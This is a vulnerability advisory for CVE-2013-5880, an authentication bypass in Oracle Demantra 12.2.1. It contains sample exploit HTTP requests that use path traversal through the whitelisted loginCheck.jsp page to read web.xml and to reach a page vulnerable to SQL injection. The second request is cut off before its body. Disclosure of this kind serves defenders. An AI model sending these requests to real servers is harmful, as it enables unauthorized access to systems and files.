                Vulnerability title: Authentication Bypass in Oracle Demantra
CVE: CVE-2013-5880
Vendor: Oracle
Product: Demantra
Affected version: 12.2.1
Fixed version: 12.2.3
Reported by: Oliver Gruskovnjak

Details:

The authentication filter in Oracle Demantra is broken by design.

For example the page:

/demantra/common/loginCheck.jsp

Is accessible by an unauthenticated user and is therefore listed in the
whitelisted URLs list. It is now possible to use this whitelisted URL to
access restricted URLs.

Exploit:

Sample Request:

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml

This attack works with other vulnerabilities reported like the SQL injection for example by using the following request:

POST /demantra/common/loginCheck.jsp/../../portal/editExecDefinition.jsp HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
